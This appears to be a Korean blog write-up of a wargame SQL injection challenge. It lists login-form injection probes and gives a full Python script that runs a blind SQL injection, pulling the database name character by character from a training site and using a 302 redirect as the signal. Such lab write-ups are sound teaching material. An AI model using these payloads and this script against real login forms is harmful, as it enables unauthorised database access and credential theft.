Wargame/Segfault
SQL Injection 6
sniffy-fanta
2025. 5. 23. 18:26
➡️ 계정이 주어졌고 플래그를 찾으러 가보자
➡️ 전 문제와 똑같이 로그인 성공 시 index.php로 리다이렉션 된다.
➡️ 로그인 실패시 Incorrect 문구가 출력된다.
➡️ 먼저 SQLI취약점이 있는지 확인했다.
- normaltic' and '1'='1 → 로그인 성공
- normaltic' # → 로그인 성공
- normaltic'# / 비밀번호 틀림 → 로그인 실패
- normaltic' or '1'='1 → 로그인 실패
- normaltic' or '1'='1'# →로그인 실패
- ' or '1'='1'# → 로그인 실패
ID로 비밀번호를 조회해 DB 비밀번호와 비교하는 거 같다.
➡️컬럼 수가 두개인 것을 확인했다.
➡️UNION공격을 바로 해봤는데 로그인에 실패했다. (admin에 싱글쿼터를 빼먹었지만 다시 넣고 테스트했다)
$row['id'] === $id && $row['pw'] === $pw처럼 아이디/비밀번호 둘 다 조건문으로 검사한다고 생각했다.
➡️UNION도 안되고 오류메세지도 없어서 Blind SQLI를 해야겠다.
➡️select 'test'로 로그인이 되는지 확인했고 로그인이 되는 모습이다.
import requests
url = "http://ctf2.segfaulthub.com:7777/sqli_3/login.php"
flag = ""
cookie= {"PHPSESSID":"8cbubgkjs618hcbkclcqthflnn"}
for i in range(1, 21):
found = False
for c in range(33, 127): #문자+특수기호 범위
payload = f"normaltic' and ascii(substr((database()),{i},1))={c}#"
res = requests.post(
url,
cookies=cookie,
data={"UserId": payload, "Password": 1234, "Submit": "Login"},
allow_redirects=False
)
print(f"{i} : {c} x")
if res.status_code == 302:
flag += chr(c)
print(f"[{i}] {chr(c)} ->{flag}")
found = True
break
if not found:
break
print(f"{flag}")
- 상태코드 302가 로그인 성공이라는 것을 이용해서 코드를 짰다.
- 처음에 POST로 데이터를 넘길 때 Submit을 안넣었다...
- 그러다보니 1~20까지 데이터가 없어도 계속 자동화 돌아가는게 싫어서 found로 데이터가 없으면 끊기게 했고
- 안되길래 세션값도 줘야되나? 하고 쿠키값도 주면서 삽을 엄청 푸다가 submit을 넣어줬다.
➡️ DB획득
➡️테이블 획득
➡️컬럼 획득!
➡️플래그를 획득했다